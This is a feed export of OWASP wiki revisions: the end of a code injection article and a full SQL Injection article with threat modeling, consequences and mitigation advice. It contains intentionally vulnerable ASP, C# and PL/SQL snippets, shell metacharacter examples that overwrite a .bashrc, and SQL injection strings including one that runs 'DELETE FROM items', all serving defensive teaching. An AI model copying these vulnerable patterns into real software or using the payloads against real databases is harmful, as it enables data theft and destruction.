* '''|| command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''&amp;gt; /home/user/phpguru/.bashrc''' will overwrite file '''.bashrc'''.&lt;br /&gt;
* '''&amp;lt; /home/user/phpguru/.bashrc''' will send file '''.bashrc''' as input to '''funnytext'''.&lt;br /&gt;
&lt;br /&gt;
PHP offers [http://www.php.net/manual/en/function.escapeshellarg.php escapeshellarg()] and [http://www.php.net/manual/en/function.escapeshellcmd.php escapeshellcmd()] to perform '''encoding''' before calling methods. However, it is not recommended to trust these methods to be secure - also validate/sanitize input.&lt;br /&gt;
&lt;br /&gt;
===Example 6===&lt;br /&gt;
The following code is  vulnerable to eval() injection, because it don’t sanitize the user’s input (in this case: “username”). The program just saves this input in a txt file, and then the server will execute this file without any validation. In this case the user is able to insert a command instead of a username.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
&amp;lt;%&lt;br /&gt;
	If not isEmpty(Request( &amp;quot;username&amp;quot; ) ) Then&lt;br /&gt;
		Const ForReading = 1, ForWriting = 2, ForAppending = 8&lt;br /&gt;
		Dim fso, f&lt;br /&gt;
		Set fso = CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)&lt;br /&gt;
		Set f = fso.OpenTextFile(Server.MapPath( &amp;quot;userlog.txt&amp;quot; ), ForAppending, True)&lt;br /&gt;
		f.Write Request(&amp;quot;username&amp;quot;) &amp;amp; vbCrLf&lt;br /&gt;
		f.close&lt;br /&gt;
		Set f = nothing&lt;br /&gt;
		Set fso = Nothing&lt;br /&gt;
		%&amp;gt;&lt;br /&gt;
		&amp;lt;h1&amp;gt;List of logged users:&amp;lt;/h1&amp;gt;&lt;br /&gt;
		&amp;amp;lt;pre&amp;amp;gt;&lt;br /&gt;
		&amp;lt;%&lt;br /&gt;
			Server.Execute( &amp;quot;userlog.txt&amp;quot; )&lt;br /&gt;
		%&amp;gt;&lt;br /&gt;
		&amp;amp;lt;/pre&amp;amp;gt;&lt;br /&gt;
		&amp;lt;%&lt;br /&gt;
	Else&lt;br /&gt;
		%&amp;gt;&lt;br /&gt;
		&amp;lt;form&amp;gt;&lt;br /&gt;
			&amp;lt;input name=&amp;quot;username&amp;quot; /&amp;gt;&amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;submit&amp;quot; /&amp;gt;&lt;br /&gt;
		&amp;lt;/form&amp;gt;&lt;br /&gt;
		&amp;lt;%&lt;br /&gt;
	End If&lt;br /&gt;
%&amp;gt;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
* [[:Internal software developer]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
* [[Direct Static Code Injection]]&lt;br /&gt;
* [[Code Injection]]&lt;br /&gt;
* [[:Category:Injection Attack | Injection Attacks]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
* [[:Category:Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
* [[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* http://secunia.com/cve_reference/CVE-2006-2005/?show_result=1&lt;br /&gt;
* http://en.wikipedia.org/wiki/Code_injection&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category: Attack]]&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Alan Jex</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=SQL_Injection&amp;diff=121164</id>
		<title>SQL Injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=SQL_Injection&amp;diff=121164"/>
				<updated>2011-12-06T21:58:12Z</updated>
		
		<summary type="html">&lt;p&gt;Alan Jex: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
[[Category:Security Focus Area]]&lt;br /&gt;
__NOTOC__&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
== Overview ==&lt;br /&gt;
A [[SQL injection]] attack consists of insertion or &amp;quot;injection&amp;quot; of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. &lt;br /&gt;
SQL injection attacks are a type of  [[Top 10 2007-Injection Flaws | injection attack]], in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.&lt;br /&gt;
&lt;br /&gt;
==Threat Modeling==&lt;br /&gt;
* SQL injection attacks allow attackers to spoof identity, tamper with existing data, cause repudiation issues such as voiding transactions or changing balances, allow the complete disclosure of all data on the system, destroy the data or make it otherwise unavailable, and become administrators of the database server. &lt;br /&gt;
* SQL Injection is very common with PHP and ASP applications due to the prevalence of older functional interfaces. Due to the nature of programmatic interfaces available, J2EE and ASP.NET applications are less likely to have easily exploited SQL injections. &lt;br /&gt;
* The severity of SQL Injection attacks is limited by the attacker’s skill and imagination, and to a lesser extent, defense in depth countermeasures, such as low privilege connections to the database server and so on. In general, consider SQL Injection a high impact severity.&lt;br /&gt;
&lt;br /&gt;
==Related Security Activities==&lt;br /&gt;
&lt;br /&gt;
===How to Avoid SQL Injection Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Guide Project|OWASP Guide]] article on how to [[Guide to SQL Injection | Avoid SQL Injection]] Vulnerabilities.&amp;lt;br&amp;gt;&lt;br /&gt;
See the OWASP [[SQL Injection Prevention Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
===How to Review Code for SQL Injection Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for SQL Injection|Review Code for SQL Injection]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
===How to Test for SQL Injection Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for SQL Injection    (OWASP-DV-005)|Test for SQL Injection]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
SQL injection errors occur when:&lt;br /&gt;
&lt;br /&gt;
# Data enters a program from an untrusted source. &lt;br /&gt;
# The data used to dynamically construct a SQL query &lt;br /&gt;
&lt;br /&gt;
The main consequences are:&lt;br /&gt;
&lt;br /&gt;
* '''Confidentiality''': Since SQL databases generally hold sensitive data, loss of confidentiality is a frequent problem with [[Glossary#SQL Injection|SQL Injection]] vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
* '''Authentication''': If poor SQL commands are used to check user names and passwords, it may be possible to connect to a system as another user with no previous knowledge of the password.&lt;br /&gt;
&lt;br /&gt;
* '''Authorization''': If authorization information is held in a SQL database, it may be possible to change this information through the successful exploitation of a [[Glossary#SQL Injection|SQL Injection]] vulnerability.&lt;br /&gt;
&lt;br /&gt;
* '''Integrity''': Just as it may be possible to read sensitive information, it is also possible to make changes or even delete this information with a [[Glossary#SQL Injection|SQL Injection]] attack.&lt;br /&gt;
&lt;br /&gt;
== Risk Factors==&lt;br /&gt;
The platform affected can be:&lt;br /&gt;
* Language: SQL&lt;br /&gt;
* Platform: Any (requires interaction with a SQL database)&lt;br /&gt;
&lt;br /&gt;
[[Glossary#SQL Injection|SQL Injection]] has become a common issue with database-driven web sites. The flaw is easily detected, and easily exploited, and as such, any site or software package with even a minimal user base is likely to be subject to an attempted attack of this kind. &lt;br /&gt;
&lt;br /&gt;
Essentially, the attack is accomplished by placing a meta character into data input to then place SQL commands in the control plane, which did not exist there before. This flaw depends on the fact that SQL makes no real distinction between the control and data planes.&lt;br /&gt;
&lt;br /&gt;
== Examples ==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
&lt;br /&gt;
In SQL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
select id, firstname, lastname from authors&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If one provided:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Firstname: evil'ex&lt;br /&gt;
Lastname: Newman&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
the query string becomes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
select id, firstname, lastname from authors where forename = 'evil'ex' and surname ='newman'&lt;br /&gt;
which the database attempts to run as &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Incorrect syntax near al' as the database tried to execute evil. &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A safe version of the above SQL statement could be coded in Java as:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
String firstname = req.getParameter(&amp;quot;firstname&amp;quot;);&lt;br /&gt;
String lastname = req.getParameter(&amp;quot;lastname&amp;quot;);&lt;br /&gt;
// FIXME: do your own validation to detect attacks&lt;br /&gt;
String query = &amp;quot;SELECT id, firstname, lastname FROM authors WHERE forename = ? and surname = ?&amp;quot;;&lt;br /&gt;
PreparedStatement pstmt = connection.prepareStatement( query );&lt;br /&gt;
pstmt.setString( 1, firstname );&lt;br /&gt;
pstmt.setString( 2, lastname );&lt;br /&gt;
try&lt;br /&gt;
{&lt;br /&gt;
	ResultSet results = pstmt.execute( );&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
&lt;br /&gt;
The following C# code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	...&lt;br /&gt;
	string userName = ctx.getAuthenticatedUserName();&lt;br /&gt;
	string query = &amp;quot;SELECT * FROM items WHERE owner = &amp;quot;'&amp;quot; &lt;br /&gt;
					+ userName + &amp;quot;' AND itemname = '&amp;quot;  &lt;br /&gt;
					+ ItemName.Text + &amp;quot;'&amp;quot;;&lt;br /&gt;
	sda = new SqlDataAdapter(query, conn);&lt;br /&gt;
	DataTable dt = new DataTable();&lt;br /&gt;
	sda.Fill(dt);&lt;br /&gt;
	...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The query that this code intends to execute follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	SELECT * FROM items&lt;br /&gt;
	WHERE owner = &lt;br /&gt;
	AND itemname = ;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if itemName does not contain a single-quote character. If an attacker with the user name wiley enters the string &amp;quot;name' OR 'a'='a&amp;quot; for itemName, then the query becomes the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	SELECT * FROM items&lt;br /&gt;
	WHERE owner = 'wiley'&lt;br /&gt;
	AND itemname = 'name' OR 'a'='a';&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The addition of the OR 'a'='a' condition causes the where clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	SELECT * FROM items;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This simplification of the query allows the attacker to bypass the requirement that the query only return items owned by the authenticated user; the query now returns all entries stored in the items table, regardless of their specified owner.&lt;br /&gt;
&lt;br /&gt;
===Example 3===&lt;br /&gt;
&lt;br /&gt;
This example examines the effects of a different malicious value passed to the query constructed and executed in Example 1. If an attacker with the user name hacker enters the string &amp;quot;hacker'); DELETE FROM items; --&amp;quot; for itemName, then the query becomes the following two queries:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	SELECT * FROM items &lt;br /&gt;
	WHERE owner = 'hacker'&lt;br /&gt;
	AND itemname = 'name';&lt;br /&gt;
&lt;br /&gt;
	DELETE FROM items;&lt;br /&gt;
&lt;br /&gt;
	--'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Many database servers, including Microsoft® SQL Server 2000, allow multiple SQL statements separated by semicolons to be executed at once. While this attack string results in an error in Oracle and other database servers that do not allow the batch-execution of statements separated by semicolons, in databases that do allow batch execution, this type of attack allows the attacker to execute arbitrary commands against the database.&lt;br /&gt;
&lt;br /&gt;
Notice the trailing pair of hyphens (--), which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed. In this case the comment character serves to remove the trailing single-quote left over from the modified query. In a database where comments are not allowed to be used in this way, the general attack could still be made effective using a trick similar to the one shown in Example 1. If an attacker enters the string &amp;quot;name'); DELETE FROM items; SELECT * FROM items WHERE 'a'='a&amp;quot;, the following three valid statements will be created:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	SELECT * FROM items &lt;br /&gt;
	WHERE owner = 'hacker'&lt;br /&gt;
	AND itemname = 'name';&lt;br /&gt;
&lt;br /&gt;
	DELETE FROM items;&lt;br /&gt;
&lt;br /&gt;
	SELECT * FROM items WHERE 'a'='a';&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
One traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from a whitelist of safe values or identify and escape a blacklist of potentially malicious values. Whitelisting can be a very effective means of enforcing strict input validation rules, but parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, blacklisting is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers can:&lt;br /&gt;
&lt;br /&gt;
* Target fields that are not quoted &lt;br /&gt;
* Find ways to bypass the need for certain escaped meta-characters &lt;br /&gt;
* Use stored procedures to hide the injected meta-characters &lt;br /&gt;
&lt;br /&gt;
Manually escaping characters in input to SQL queries can help, but it will not make your application secure from SQL injection attacks.&lt;br /&gt;
&lt;br /&gt;
Another solution commonly proposed for dealing with SQL injection attacks is to use stored procedures. Although stored procedures prevent some types of SQL injection attacks, they fail to protect against many others. For example, the following PL/SQL procedure is vulnerable to the same SQL injection attack shown in the first example.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	procedure get_item (&lt;br /&gt;
		itm_cv IN OUT ItmCurTyp,&lt;br /&gt;
		usr in varchar2,&lt;br /&gt;
		itm in varchar2)&lt;br /&gt;
	is&lt;br /&gt;
		open itm_cv for ' SELECT * FROM items WHERE ' ||&lt;br /&gt;
				'owner = '''|| usr || &lt;br /&gt;
				' AND itemname = ''' || itm || '''';&lt;br /&gt;
	end get_item;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Stored procedures typically help prevent SQL injection attacks by limiting the types of statements that can be passed to their parameters. However, there are many ways around the limitations and many interesting statements that can still be passed to stored procedures. Again, stored procedures can prevent some exploits, but they will not make your application secure against SQL injection attacks.&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
* [[:Category:Command Execution]] &lt;br /&gt;
* [[Injection problem]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
* [[Top 10 2007-Injection Flaws | injection attack]]&lt;br /&gt;
* [[Blind SQL Injection]]&lt;br /&gt;
* [[Code Injection]]&lt;br /&gt;
* [[Double Encoding]]&lt;br /&gt;
* [[Interpreter_Injection#ORM_Injection]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
* [[:Category:Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
* [[Input Validation]]&lt;br /&gt;
* [[Output Validation]]&lt;br /&gt;
* [[Static Code Analysis]]&lt;br /&gt;
[[Category:FIXME|this was the text that was here before we added the links. Can it be deleted?&lt;br /&gt;
Avoidance and mitigation &lt;br /&gt;
&lt;br /&gt;
* Requirements specification: A non-SQL style database which is not subject to this flaw may be chosen.&lt;br /&gt;
&lt;br /&gt;
* Implementation: Use vigorous white-list style checking on any user input that may be used in an SQL command. Rather than escape meta-characters, it is safest to disallow them entirely. Reason: Later use of data that has been entered in the database may neglect to escape meta-characters before use.&lt;br /&gt;
&lt;br /&gt;
* Image:Advanced Topics on SQL Injection Protection.ppt&lt;br /&gt;
]]&lt;br /&gt;
&lt;br /&gt;
==References ==&lt;br /&gt;
* [http://www.greensql.net/ GreenSQL Open Source SQL Injection Filter] - An Open Source database firewall used to protect databases from SQL injection attacks.&lt;br /&gt;
* [http://www.net-security.org/dl/articles/IntegrigyIntrotoSQLInjectionAttacks.pdf An Introduction to SQL Injection Attacks for Oracle Developers] - This also includes recommended defenses.&lt;br /&gt;
* OWASP [[:Category:OWASP_SQLiX_Project | SQLiX Project]] - An SQL Injection Scanner.&lt;br /&gt;
* [http://www.nosec.org/en/pangolin.html Pangolin] - Closed source SQL Injection Scanner.&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category: Attack]]&lt;/div&gt;</summary>
		<author><name>Alan Jex</name></author>	</entry>

	</feed>